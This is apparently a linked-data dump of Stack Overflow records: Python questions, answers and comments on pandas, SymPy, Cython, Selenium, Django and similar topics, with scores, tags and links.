has body: I'd be grateful for any help anyone can offer on this, as have been tearing my hair out trying to solve it. I have two python pandas dataframes, in simplified form they look like this: df1 +-----+-----+-----+ | a_1 | a_2 | a_3 | +-----+-----+-----+ | 0 | 2 | 5 | | 1 | 3 | 4 | | 0 | 0 | 0 | +-----+-----+-----+ df2 +-----+-----+-----+ | b_1 | b_2 | b_3 | +-----+-----+-----+ | 0 | 0 | 1 | | 1 | 0 | 1 | | 0 | 0 | 0 | +-----+-----+-----+ I want to create a count column of non-null values (per row) in df1, if the equivalent cell is non-null in df2. The column titles in both dataframes are not the same, but are the same after the initial a_ and b_ prefixes. So in this example the code would just count the third value in the first row, and the first and second in the second row. The new df1 dataframe would therefore look like this: new_df1 +-----+-----+-----+----------------------+ | a_1 | a_2 | a_3 | count_if_nonnull_df2 | +-----+-----+-----+----------------------+ | 0 | 2 | 5 | 1 | | 1 | 3 | 4 | 2 | | 0 | 0 | 0 | 0 | +-----+-----+-----+----------------------+ Would anyone be able to help?! Thanks in advance.
upvote count: 2
type: UnansweredQuestion
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/49500650
has comment: http://stackoverflow.com/comment/86005297
score: 2
answer count: 3
tagged with: pandas
has comment: http://stackoverflow.com/comment/86005424

http://stackoverflow.com/q/49565859
has body: import urllib,re def getver(): url='https://github.com/Bendr0id/xmrigCC/releases' website = urllib.urlopen(url) html = website.read() links = re.findall(r'(?&lt;=&lt;a href=")[^"]*\bgcc-win64.zip\b', html) link=links[0] version=link.split('/') ver0=version[5] return ver0 getver() I've tried to run the code but it doesnt output anything,instead when I replace return with print it prints out the correct answer which is 1.5.2 . What am I doing wrong?
tagged with: python
tagged with: python-2.7
score: 0
linked to: http://stackoverflow.com/q/750136
has answer: http://stackoverflow.com/a/49565931
has answer: http://stackoverflow.com/a/49566050
has comment: http://stackoverflow.com/comment/86140086
linked to: http://stackoverflow.com/q/7129285
type: Question
answer count: 2
type: UnansweredQuestion
tagged with: function
has title: Return value in python function
duplicate of: http://stackoverflow.com/q/7129285

http://stackoverflow.com/a/49482501
score: 0
answers question: http://stackoverflow.com/q/49482435
has body: Pure functions come into play when discussing the outside world. If you take a snapshot of all your objects before calling the function and after, the two snapshots should be identical. The function as you put it is a pure function because it does not modify the state or any other part of the program. Your function would not be pure in one of the following cases: If you used the global keyword to modify another variable If it was a method of an object and it changed the object internal state If it mutated n in any way
has comment: http://stackoverflow.com/comment/85993211
has comment: http://stackoverflow.com/comment/85967828
type: Answer
has comment: http://stackoverflow.com/comment/85990333

http://stackoverflow.com/a/49440629
score: 0
answers question: http://stackoverflow.com/q/49440473
type: Answer
has body: if you are on a *nix system use this cp $(find dirpath -name "*jpg") dst_dir/

xlsxwriter
tags question: http://stackoverflow.com/q/49522220
tags question: http://stackoverflow.com/q/49534597
tags question: http://stackoverflow.com/q/49488326
tags question: http://stackoverflow.com/q/49476652
type: Tag
tags question: http://stackoverflow.com/q/49482313
tags question: http://stackoverflow.com/q/49458565
tag name: xlsxwriter
tags question: http://stackoverflow.com/q/49501501

http://stackoverflow.com/a/49535899
has body: The variable Gradient is of type sympy.tensor.array.dense_ndim_array.ImmutableDenseNDimArray Like almost all SymPy objects, with exception of mutable matrices, it is immutable. The method subs does not modify it in place; it returns a new object, which needs to be assigned. Gradient = Gradient.subs(zip(variables, substitute)) Hessian = Hessian.subs(zip(variables, substitute)) Then the function works as expected, returning ([2*exp(-1), 0], [[4*exp(-1), exp(-1)], [exp(-1), 0]]) But I suggest not passing generators to subs; there are outstanding issues involving that. Convert to a list or a dict first, to be safe. (There is also a difference there: should substitutions be consecutive or simultaneous, although this does not matter when substituting numbers for symbols.) subs_dict = dict(zip(variables, substitute)) Gradient = Gradient.subs(subs_dict) Hessian = Hessian.subs(subs_dict)
accepted answer of: http://stackoverflow.com/q/49534586
type: Answer
answers question: http://stackoverflow.com/q/49534586
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/86143730
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/49567391
has text: @musicamante Yes it is difference, if you realize the transformations that you use are not commutative.

http://stackoverflow.com/comment/86002897
type: AnswerComment
has text: C:\>python -m pip install --upgrade tensorflow 'python' is not recognized as an internal or external command, operable program or batch file.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49499387

http://stackoverflow.com/comment/85946569
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49471962
has text: What is the data type of the matrix? Is it a DataFrame?

http://stackoverflow.com/a/49584423
score: 1
has comment: http://stackoverflow.com/comment/86504433
has body: You can try something like this: First rename 'Reports' column to 'Comment' to align dataframes for concat: df_out = pd.concat([df1,df2.rename(columns={'Report':'Comment'})],ignore_index=False) Filter dataframe for names with more that one No. then use get_dummies: df_out[df_out.groupby(['Name'])['No.'].transform(lambda x: x.nunique() &gt; 1)]\ .set_index('Name')['Comment'].str.get_dummies().sum(level=0)\ .reindex(df_out.Comment, fill_value=0, axis=1) Output: Comment Doesn't Matter Whatever Irrelevant Something Regardless Great \ Name John 0 0 1 0 1 0 Comment Solid Awesome Good Perfect Name John 0 1 0 1
type: Answer
has comment: http://stackoverflow.com/comment/86503832
has comment: http://stackoverflow.com/comment/86196446
has comment: http://stackoverflow.com/comment/86503197
accepted answer of: http://stackoverflow.com/q/49581703
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86188728
downvote count: 0
answers question: http://stackoverflow.com/q/49581703
upvote count: 1

http://stackoverflow.com/a/49597517
upvote count: 2
downvote count: 0
has body: There is a better solution to this problem : Method Used to extract using MS XML Word document just zip the word document using zip module, It will give you access to xml format of word document, then you can use simple xml node extraction for text. Following is the working code that extracts Header, Footer, Text Data from a docx file. try: from xml.etree.cElementTree import XML except ImportError: from xml.etree.ElementTree import XML import zipfile WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}' PARA = WORD_NAMESPACE + 'p' TEXT = WORD_NAMESPACE + 't' def get_docx_text(path): """ Take the path of a docx file as argument, return the text in unicode. """ document = zipfile.ZipFile(path) contentToRead = ["header2.xml", "document.xml", "footer2.xml"] paragraphs = [] for xmlfile in contentToRead: xml_content = document.read('word/{}'.format(xmlfile)) tree = XML(xml_content) for paragraph in tree.getiterator(PARA): texts = [node.text for node in paragraph.getiterator(TEXT) if node.text] if texts: textData = ''.join(texts) if xmlfile == "footer2.xml": extractedTxt = "Footer : " + textData elif xmlfile == "header2.xml": extractedTxt = "Header : " + textData else: extractedTxt = textData paragraphs.append(extractedTxt) document.close() return '\n\n'.join(paragraphs) print(get_docx_text("E:\\path_to.docx"))
answers question: http://stackoverflow.com/q/49596942
has comment: http://stackoverflow.com/comment/86337326
type: Answer
score: 2

http://stackoverflow.com/a/49600023
type: Answer
answers question: http://stackoverflow.com/q/49599201
score: 0
has body: jieba and jieba3k aren't two different packages, they are two different versions of the same package with jieba being newer. When you install jieba3k it overrides package jieba with older version. In short: forget about jieba3k, use only jieba.

http://stackoverflow.com/a/49562492
has comment: http://stackoverflow.com/comment/123810812
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: Two things are broken about Cython's handling of non-member operators: Non-member operators defined in a .pxd file outside a class aren't correctly cimported to Cython (the workround is to do from something cimport *) and thus aren't used. This is what I think I said in my previous answer Non-member operators defined within a class with two arguments (as in the code you showed in unordered_map.pxd) aren't recognised by Cython and aren't used (despite being defined like that all over the C++ standard library wrappers included in Cython). At one point I tried to submit a patch for this but it was ignored. This is no longer true. Only point 1 now applies. What does work is to tell Cython that it's a member operator (even if C++ implements it as a non-member operator). Therefore a simple patch to unordered_map.pxd would work. Note that I'm changing it to be defined with one argument and the C++ implicit this/self: cdef extern from "&lt;unordered_map&gt;" namespace "std" nogil: cdef cppclass unordered_map[T, U]: # ... irrelevant stuff expunged ... bint operator==(unordered_map&amp;) Alternatively, you can define it yourself before you need to use it (like you're doing currently) but as a template. This at least saves you having to define every specialization cdef extern from "&lt;unordered_map&gt;" namespace "std": bint operator==[R,S](unordered_map[R, S]&amp;, unordered_map[R, S]&amp;) i.e. the statement in your question (because Cython doesn't support generically templated functions, only generically templated classes and explicitly declared templates of functions) isn't true. It is all a bit of a mess though
accepted answer of: http://stackoverflow.com/q/49524590
has comment: http://stackoverflow.com/comment/86141181
type: Answer
answers question: http://stackoverflow.com/q/49524590
has comment: http://stackoverflow.com/comment/123810987

http://stackoverflow.com/comment/85939146
comment on: http://stackoverflow.com/q/49465940
type: QuestionComment
score: 0
has text: @SimonForsberg & Davis On top of that: the 2nd piece of code wasn't written by the OP. On Code Review, one is supposed to know why you wrote the code you posted and be at least the maintainer of said code.
type: Comment

http://stackoverflow.com/comment/86123873
has text: i have just add it
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49557961

http://stackoverflow.com/a/49530243
answers question: http://stackoverflow.com/q/49529542
has comment: http://stackoverflow.com/comment/86072435
has comment: http://stackoverflow.com/comment/86073598
has comment: http://stackoverflow.com/comment/86070483
accepted answer of: http://stackoverflow.com/q/49529542
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/86073410
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86073742
downvote count: 0
has body: you can get your uris like this: import xml.etree.ElementTree as ET tree = ET.parse('Chassis_v1.xml') root = tree.getroot() for item in root.findall('{http://docs.oasis-open.org/odata/ns/edmx}Reference'): if 'Uri' in item.attrib: print (item.attrib['Uri'])

http://stackoverflow.com/comment/85964406
has text: I've updated my answer with a simpler function using opencv methods, that's probably as fast or faster than numpy based method.
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49473059

http://stackoverflow.com/q/49584180
tagged with: python
tagged with: continue
has comment: http://stackoverflow.com/comment/86177060
upvote count: 0
answer count: 3
has comment: http://stackoverflow.com/comment/86177207
has title: not restarting for program and input integer not working
has answer: http://stackoverflow.com/a/49584411
has answer: http://stackoverflow.com/a/49584793
tagged with: loops
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49584430
has body: I'm trying to develop a program wherein at the finish of the game the user will input "Yes" to make the game restart, while if the user inputed "Not" the game will end. For my tries, I can't seem to figure out how to make the program work. I'm quite unsure if a double while True is possible. Also, it seems like when I enter an integer the game suddenly doesn't work but when I input an invalidoutpit the message "Error, the inputed value is invalid, try again" seems to work fine. In need of help, Thank You!! import random A1=random.randint(0,9) A2=random.randint(0,9) A3=random.randint(0,9) A4=random.randint(0,9) P1="O" P2="O" P3="O" P4="O" while True: while True: try: P1=="O" or P2=="O" or P3=="O" or P4=="O" print("Here is your Clue :) :", P1,P2,P3,P4) guess=int(input("\nTry and Guess the Numbers :). ")) except ValueError: print("Error, the inputed value is invalid, try again") continue else: guess1=int(guess[0]) guess2=int(guess[1]) guess3=int(guess[2]) guess4=int(guess[3]) if guess1==A1: P1="X" else: P1="O" if guess2==A2: P2="X" else: P2="O" if guess3==A3: P3="X" else: P3="O" if guess4==A4: P4="X" else: P4="O" else: print("Well Done! You Won MASTERMIND! :D") answer=input("Would you like to play again? (Yes or No) ") if answer==Yes: print ('Yay') continue else: print ('Goodbye!') break
downvote count: 4
type: UnansweredQuestion
score: -4
has comment: http://stackoverflow.com/comment/86177347

http://stackoverflow.com/comment/86039407
comment on: http://stackoverflow.com/a/49516551
score: 0
has text: I see the difference now and it makes good sense. I thought I had ensured that the while loop would turn False with the `if not social_media:` and then break out of it. But that did of course not apply to the outer loop. How it is constructed in your example gave me an "Aha" experience. :)
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49455891
type: Question
has comment: http://stackoverflow.com/comment/85914707
has comment: http://stackoverflow.com/comment/85914753
has title: I am running this python code in windows powershell to convert a binary to decimal.I am expecting 13 as answer but getting 733
has comment: http://stackoverflow.com/comment/85915869
score: 0
has comment: http://stackoverflow.com/comment/85914732
tagged with: python
has body: This is the code that I am running: B = '1101' I = 0 while B: I = I * 2 +ord(B[0]) B = B[1:] print I
type: AnsweredQuestion
upvote count: 1
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/49455961
accepted answer: http://stackoverflow.com/a/49455961
favorite count: 0

http://stackoverflow.com/comment/86056435
has text: You dont even need float() there
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49525218

http://stackoverflow.com/comment/86120776
comment on: http://stackoverflow.com/q/49556351
has text: @OluwafemiSuleI know but when the user, for example, open session, then open incognito window for example so the user will have 2 sessions active and I think it isn't good so I need to delete the old one
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86156087
comment on: http://stackoverflow.com/q/49560419
type: Comment
type: QuestionComment
score: 0
has text: Do you want to sort dictionary with specific logic?

http://stackoverflow.com/q/49555914
has title: Selenium Python - Unable to crawl from page to page
tagged with: selenium
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/49556828
tagged with: python
possible better answer: http://stackoverflow.com/a/49556820
has body: I would like the script to scrape all items from each page and append to a csv file but there are 2 problem : 1) When I run the script it only go to single page (the last page = 64). It doesn't crawl from page 1 until 64 2) When the script writes data to csv file it doesn't append new lines but it re-writes the whole csv file. import csv # YouTube Video: https://www.youtube.com/watch?v=zjo9yFHoUl8 from selenium import webdriver MAX_PAGE_NUM = 67 MAX_PAGE_DIG = 1 driver = webdriver.Chrome('/Users/reezalaq/PycharmProjects/untitled2/venv/driver/chromedriver') with open('result.csv', 'w') as f: f.write("Product Name, Sale Price, Discount, Old Price \n") for i in range(1, MAX_PAGE_NUM + 1): page_num = (MAX_PAGE_DIG - len(str(i))) * "0" + str(i) url = "https://www.blibli.com/jual/batik-pria?s=batik+pria&amp;c=BA-1000013&amp;i=" + page_num driver.get(url) buyers = driver.find_elements_by_xpath("//div[@class='product-title']") prices = driver.find_elements_by_xpath("//span[@class='new-price-text']") discount = driver.find_elements_by_xpath("//div[@class='discount']") oldprice = driver.find_elements_by_xpath("//span[@class='old-price-text']") num_page_items = len(buyers) with open('result.csv', 'a') as f: for c in range(num_page_items): f.write(buyers[c].text + ' , ' + prices[c].text + ' , ' + discount[c].text + ' , ' + oldprice[c].text + '\n') driver.close()
has answer: http://stackoverflow.com/a/49556820
has comment: http://stackoverflow.com/comment/86119330
accepted answer: http://stackoverflow.com/a/49556828
linked to: http://stackoverflow.com/q/16208206
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/55987868
has comment: http://stackoverflow.com/comment/117743942
upvote count: 17
has comment: http://stackoverflow.com/comment/117548330
type: Answer
has comment: http://stackoverflow.com/comment/110970836
has body: I know the question is old but for everyone that is looking for a compatible codec + container for web browser : VP8 or VP80 is a compatible encoder cv2.VideoWriter_fourcc('V','P','8','0') I used it with .webM as a container. Native WebM support by Mozilla Firefox,[7][8] Opera,[9][10] and Google Chrome[11] was announced at the 2010 Google I/O conference https://en.wikipedia.org/wiki/WebM it worked like a charm and with pretty good performance even though for some reason I got this error when creating videoWriter objects : OpenCV: FFMPEG: tag 0x30385056/'VP80' is not supported with codec id 139 and format 'webm / WebM'
answers question: http://stackoverflow.com/q/49530857
downvote count: 0
score: 17

http://stackoverflow.com/comment/86167597
has text: @Tie_24 so the index is important ?
comment on: http://stackoverflow.com/a/49578295
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86204254
score: 0
comment on: http://stackoverflow.com/a/49598537
type: Comment
type: AnswerComment
has text: can you please apply it to the above code along with graph output ?

http://stackoverflow.com/comment/86001746
type: Comment
comment on: http://stackoverflow.com/q/49498777
score: 0
type: QuestionComment
has text: This is an excessively broad question. Please read [How do I ask a good question?](https://stackoverflow.com/help/how-to-ask) and edit your question accordingly.

http://stackoverflow.com/comment/86049026
type: QuestionComment
has text: Much better, and now your error is clear. Hold your mouse cursor to the left of the beginning `t` in `test = sesh.post(url,data=data)` and scroll up. The level of indentation matches nothing above it within that function. As the answer posted states, it's recommended that you use 4 spaces for indentation for each level (editors will usually convert tabs to spaces for you to stop you having to keep hammering the spacebar).
comment on: http://stackoverflow.com/q/49521349
score: 0
type: Comment

http://stackoverflow.com/a/75892752
answers question: http://stackoverflow.com/q/49471867
score: 0
has body: Also make sure to add to the SYSTEM path variable rather than current user path variable.
type: Answer

http://stackoverflow.com/q/49476888
tagged with: python
has comment: http://stackoverflow.com/comment/85956396
tagged with: module
has comment: http://stackoverflow.com/comment/85958333
tagged with: class
accepted answer: http://stackoverflow.com/a/49477096
has comment: http://stackoverflow.com/comment/85956706
possible better answer: http://stackoverflow.com/a/49477062
has answer: http://stackoverflow.com/a/49477096
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85956638
has comment: http://stackoverflow.com/comment/85956626
downvote count: 0
has answer: http://stackoverflow.com/a/49477062
has comment: http://stackoverflow.com/comment/85956748
upvote count: 1
score: 1
tagged with: import
favorite count: 0
has comment: http://stackoverflow.com/comment/85956662
has title: Python - Import module which has a different name to file?
tagged with: python-3.x
has body: Essentially, I have two .py files which lie in the same directory. Namely, foo_v02 and bar_v01. In bar_v01, I want to import a class from foo_v02. However, for the sake of convenience, I want to use the statement from foo import myClass (ignoring the version number). However, as my file isn't called foo, of course python throws an error as there's no file called foo.py. My Question: Is there a way I can just use from foo import myClass without having to rename my foo_v02.py file? Note: I already have code which works but it uses from foo_v02 import myClass, so I'm not experiencing a problem as such. Also, I'm asking this question as my foo_xx.py file will undergo frequent editing so there will be multiple versions (so I don't want to have to edit the import statement with every new version). Also, there's only ever going to be one foo_xx.py in the directory as all the previous versions are moved to a different directory once they're outdated. EDIT: I've posted an answer for now, but if anyone has a better way, please feel free to post it!
type: Question
has comment: http://stackoverflow.com/comment/85956375
has comment: http://stackoverflow.com/comment/85956655
answer count: 2
has comment: http://stackoverflow.com/comment/85959734

http://stackoverflow.com/comment/91783689
comment on: http://stackoverflow.com/q/49507607
type: Comment
has text: OK~ I fixed it after `conda update conda` and `conda update --all` in py3.6
score: 0
type: QuestionComment

http://stackoverflow.com/a/49547872
has body: Information on the format is available here: https://github.com/cocodataset/cocoapi/blob/master/PythonAPI/pycocotools/mask.py RLE is a simple yet efficient format for storing binary masks. RLE first divides a vector (or vectorized image) into a series of piecewise constant regions and then for each piece simply stores the length of that piece. For example, given M=[0 0 1 1 1 0 1] the RLE counts would be [2 3 1 1], or for M=[1 1 1 1 1 1 0] the counts would be [0 6 1] (note that the odd counts are always the numbers of zeros). import numpy as np from itertools import groupby def binary_mask_to_rle(binary_mask): rle = {'counts': [], 'size': list(binary_mask.shape)} counts = rle.get('counts') for i, (value, elements) in enumerate(groupby(binary_mask.ravel(order='F'))): if i == 0 and value == 1: counts.append(0) counts.append(len(list(elements))) return rle test_list_1 = np.array([0, 0, 1, 1, 1, 0, 1]) test_list_2 = np.array([1, 1, 1, 1, 1, 1, 0]) print(binary_mask_to_rle(test_list_1)) print(binary_mask_to_rle(test_list_2)) output: {'counts': [2, 3, 1, 1], 'size': [7]} {'counts': [0, 6, 1], 'size': [7]} You can use mask.frPyObjects(rle, size_x, size_y) to encode the RLE, and then do all the usual mask operations. import json import numpy as np from pycocotools import mask from skimage import measure ground_truth_binary_mask = np.array([[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [ 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [ 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [ 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]], dtype=np.uint8) fortran_ground_truth_binary_mask = np.asfortranarray(ground_truth_binary_mask) encode the mask to RLE: rle = binary_mask_to_rle(fortran_ground_truth_binary_mask) print(rle) output: {'counts': [6, 1, 40, 4, 5, 4, 5, 4, 21], 'size': [9, 10]} compress the RLE, and then decode: compressed_rle = mask.frPyObjects(rle, rle.get('size')[0],…
has comment: http://stackoverflow.com/comment/133687144
answers question: http://stackoverflow.com/q/49494337
has comment: http://stackoverflow.com/comment/130901191
type: Answer
upvote count: 26
accepted answer of: http://stackoverflow.com/q/49494337
has comment: http://stackoverflow.com/comment/134027147
has comment: http://stackoverflow.com/comment/130876874
type: AcceptedAnswer
downvote count: 1
score: 25

http://stackoverflow.com/comment/86133537
comment on: http://stackoverflow.com/q/49547837
has text: I think what he wants is the QListWidget to have horizontal scrollbar so he will be able to see long items.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49584486
downvote count: 0
upvote count: 1
tagged with: python
score: 1
has comment: http://stackoverflow.com/comment/86177108
has answer: http://stackoverflow.com/a/49584834
has comment: http://stackoverflow.com/comment/86177410
has comment: http://stackoverflow.com/comment/86177072
tagged with: oop
has body: I created a class that inherits from the class list: class Queue2(list): 'a queue class, subclass of list' def isEmpty(self): 'returns True if queue is empty, False otherwise' return (len(self)==0) def dequeue(self): 'remove and return item at front of queue' return self.pop(0) def enqueue(self, item): 'insert item at rear of queue' return self.append(item) When I try to run eval(repr()), an AttributeError occurred: &gt;&gt;&gt; queue2 = Queue2(['a','b','c']) &gt;&gt;&gt; duplicate = eval(repr(queue2)) &gt;&gt;&gt; duplicate ['a', 'b', 'c'] &gt;&gt;&gt; duplicate.enqueue('d') Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; AttributeError: 'list' object has no attribute 'enqueue' I realized the repr(queue2) changes the Queue2 objects to a str, and the eval() method makes it a list. Is there anyway to fix this? Edit1: Here are my attempts: 1. I tried to override repr function: def __repr__(self): return self def __eval__(self): return self result: &gt;&gt;&gt; queue2 = Queue2(['a','b','c']) &gt;&gt;&gt; duplicate = eval(repr(queue2)) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: __repr__ returned non-string (type Queue2) 2. I tried to include str in the inheritance: class Queue2(list,str): 'a queue class, subclass of list' def isEmpty(self): 'returns True if queue is empty, False otherwise' return (len(self)==0) def dequeue(self): 'remove and return item at front of queue' return self.pop(0) def enqueue(self, item): 'insert item at rear of queue' return self.append(item) def __eval__(self): return Queue2(self) result: Traceback (most recent call last): File "ch8.py", line 168, in &lt;module&gt; class Queue2(list,str): TypeError: Error when calling the metaclass bases multiple bases have instance lay-out conflict
favorite count: 0
has title: OOP Inheritance eval(repr()) undesired outcome
type: Question
has comment: http://stackoverflow.com/comment/86177121
has answer: http://stackoverflow.com/a/49584829
answer count: 2
has comment: http://stackoverflow.com/comment/86177068
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86177120

http://stackoverflow.com/comment/86015393
has text: Does anyone else have a solution?
score: 0
comment on: http://stackoverflow.com/a/49496487
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49517964
downvote count: 0
has comment: http://stackoverflow.com/comment/86050777
has comment: http://stackoverflow.com/comment/86049412
accepted answer of: http://stackoverflow.com/q/49510078
type: Answer
score: 4
answers question: http://stackoverflow.com/q/49510078
has comment: http://stackoverflow.com/comment/86051167
upvote count: 4
has body: Short answer Provide some guess-estimates for loc and scale whenever you are able. Provide floc and fscale only when you actually need this for your subsequent use of the model; that is, if an answer with, say, distribution mean different from 0 is just not acceptable to you. For example, if you model elastic force by Hooke's law F = k*x and want to find k from experimental force F and deformation x, there is no use in fitting a general linear model k*x+b; we know that zero force produces zero deformation. Any nonzero value of b may achieve better fit but only because it follows experimental errors better, which isn't the goal. So this is a situation where we want to force a certain parameter to be zero. Never use floc or fscale if you just want to improve the fit; use loc and scale instead. Explanation Fitting a distribution to data is a multivariable optimization problem. Such problems are difficult and solvers frequently fail when the starting point is far from the optimal. If floc gives better result than unconstrained fit, that only means the unconstrained fit failed. To improve the outcome, you should provide tentative loc and scale parameters whenever you are able to come up with something reasonable. In your lognormal example, you compare not giving any hint to imposing the restriction floc=0. But the best strategy is just to give a hint with loc=0: pars1 = lognorm.fit(xp, loc=0) The resulting blue curve is better than the green one with floc=0. Of course it is better. loc=0 points the optimizer to a pretty good place to start, and lets it work from there. floc=0 points the optimizer to a pretty good place to start, but then tells it to stay there.
has comment: http://stackoverflow.com/comment/86048649
type: AcceptedAnswer

http://stackoverflow.com/comment/86010835
comment on: http://stackoverflow.com/q/49502102
type: Comment
score: 0
has text: Well that definitely did the trick, taking away the dunder, but then why would that work in 2.7?
type: QuestionComment

http://stackoverflow.com/q/49574817
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/72238912
has body: I have the following DataFrame data with random index values: A B 100 0 7 203 5 4 5992 0 10 2003 9 8 20 10 5 12 6 2 I would like to add a new column 'C' with row numbers. For example: A B C 100 0 7 0 203 5 4 1 5992 0 10 2 2003 9 8 3 20 10 5 4 12 6 2 5
tagged with: pandas
has title: Fill a new pandas column with row numbers
tagged with: python
accepted answer: http://stackoverflow.com/a/49574839
has answer: http://stackoverflow.com/a/55632537
favorite count: 0
type: Question
upvote count: 93
score: 93
downvote count: 0
answer count: 5
has answer: http://stackoverflow.com/a/49574942
possible better answer: http://stackoverflow.com/a/49574942
has answer: http://stackoverflow.com/a/74929111
has answer: http://stackoverflow.com/a/49574839

http://stackoverflow.com/q/49476516
favorite count: 0
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/49476625
tagged with: python
has answer: http://stackoverflow.com/a/49476571
possible better answer: http://stackoverflow.com/a/49476571
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49476625
downvote count: 0
tagged with: pandas
score: 1
upvote count: 1
has title: Why is dummy '0' row created after pd.read_csv()?
has body: Why there is an additional row named '0' after read_csv? In the following code, I saved df1 to csv file and read it back. However, there is an additional row named '0'. How can I avoid it? d1 = {'a' : 1, 'b' : 2, 'c' : 3} df1=pd.Series(d1) print('\ndf1:'); print(df1) &gt; df1: &gt; a 1 &gt; b 2 &gt; c 3 &gt; dtype: int64 df1.to_csv("df1.csv") df1=pd.read_csv("df1.csv", index_col=0, header=None) print('\ndf1:'); print(df1) &gt; df1: &gt; 1 &gt; 0 &lt;&lt;&lt;&lt;---- ???? &gt; a 1 &gt; b 2 &gt; c 3

http://stackoverflow.com/q/49504136
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86014023
score: 0
possible better answer: http://stackoverflow.com/a/49504324
has body: I am making a system saved user data to model.I want to write a part of logic in views.py and a part of save data in serializer.I want to make a system password is changed into hash.Now I wrote codes in views.py, class InfoViews(viewsets.ModelViewSet): queryset = Info.objects.all() serializer_class = InfoSerializer lookup_field = 'id' def create(self,request, *args, **kwargs): user = Info() passwd = request.data['password'] md5 = hashlib.md5() md5.update(passwd.encode('utf-8')) user.password = md5.hexdigest() user.save() return JsonResponse({"data":"data"}) in serializer.py class InfoSerializer(serializers.ModelSerializer): created_time = serializers.DateTimeField(required=False) class Meta: model = Info fields = '__all__' def create(self, validated_data): user = Info( email=validated_data['email'], username=validated_data['username'], ) user.set_password(validated_data['password']) user.save() return user in models.py class Info(models.Model): username = custom_fields.NotEmptyCharField(max_length=100, unique=True) email = models.EmailField() password = custom_fields.NotEmptyCharField(max_length=100) class Meta: db_table = 'info' def __str__(self): return '%s: %s' % (self.username, self.email) Now whenI tried to save user data to model,django.core.exceptions.ValidationError: ['Can not be empty!'] error happens.What is wrong in my codes?I searched http://www.django-rest-framework.org/api-guide/serializers/ .How should I fix this?
has answer: http://stackoverflow.com/a/49504324
accepted answer: http://stackoverflow.com/a/49504656
type: Question
has title: I want to write a logic in views.py and save data in serializer
has answer: http://stackoverflow.com/a/49504656
answer count: 2
tagged with: django
tagged with: python

http://stackoverflow.com/a/49442615
has comment: http://stackoverflow.com/comment/85887149
answers question: http://stackoverflow.com/q/49442459
has comment: http://stackoverflow.com/comment/85887163
has comment: http://stackoverflow.com/comment/85887074
score: 0
has body: For you to accomplish this you will need to write some backend code that initiates your script from your webserver. This is because your browser can only run JavaScript. Python would have to run on the webserver. There are many Python frameworks that can make this task easier such as Django, Bottle and Flask.
type: Answer

http://stackoverflow.com/q/49446917
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/49447629
has title: sklearn:TypeError: All estimators should implement fit and transform
type: AnsweredQuestion
score: 1
answer count: 1
downvote count: 0
has body: I am trying to use FeatureUnion() function to combine different features:dentisty_undictionary,file_length,tdm. And tdm is a kind of vector generated by TfidfVectorizer().the code is here: process_features = Pipeline( [ ('features',FeatureUnion(transformer_list=[('dentisty_undictionary',train_set.dentisty_undictionary), ('file_length',train_set.file_length), ('tdm',train_set.tdm)])), ('svc', SVC(kernel='linear')), ]) and then I got an Error: Traceback (most recent call last): File "NBayes_Predict_FeatureUnion.py", line 29, in &lt;module&gt; ('tdm',train_set.tdm)])), File "C:\Python27\lib\site-packages\sklearn\pipeline.py", line 622, in __init__ self._validate_transformers() File "C:\Python27\lib\site-packages\sklearn\pipeline.py", line 666, in _validate_transformers (t, type(t))) TypeError: All estimators should implement fit and transform.'[0.8125, 0.7597402597402597, 0.7703513281919452,.......,0.7914338919925512]' (type &lt;type 'list'&gt;) doesn't I am fresh to sklearn.Any suggestion to solving this Error would be welcomed.Thanks!
has answer: http://stackoverflow.com/a/49447629
upvote count: 1
tagged with: scikit-learn
favorite count: 0

http://stackoverflow.com/comment/86130371
has text: @BryanOakley. Thanks for catching that calling root.mainloop() more than once doesn't create additional windows. Meant to say calling `Tk()` more than once.
score: 0
comment on: http://stackoverflow.com/q/49558310
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86148010
type: Comment
score: 0
has text: have you tried to discard the subprocess and simply write any string literal instead?
type: QuestionComment
comment on: http://stackoverflow.com/q/49570132

http://stackoverflow.com/q/49596486
downvote count: 0
answer count: 1
tagged with: pip
tagged with: python
type: AnsweredQuestion
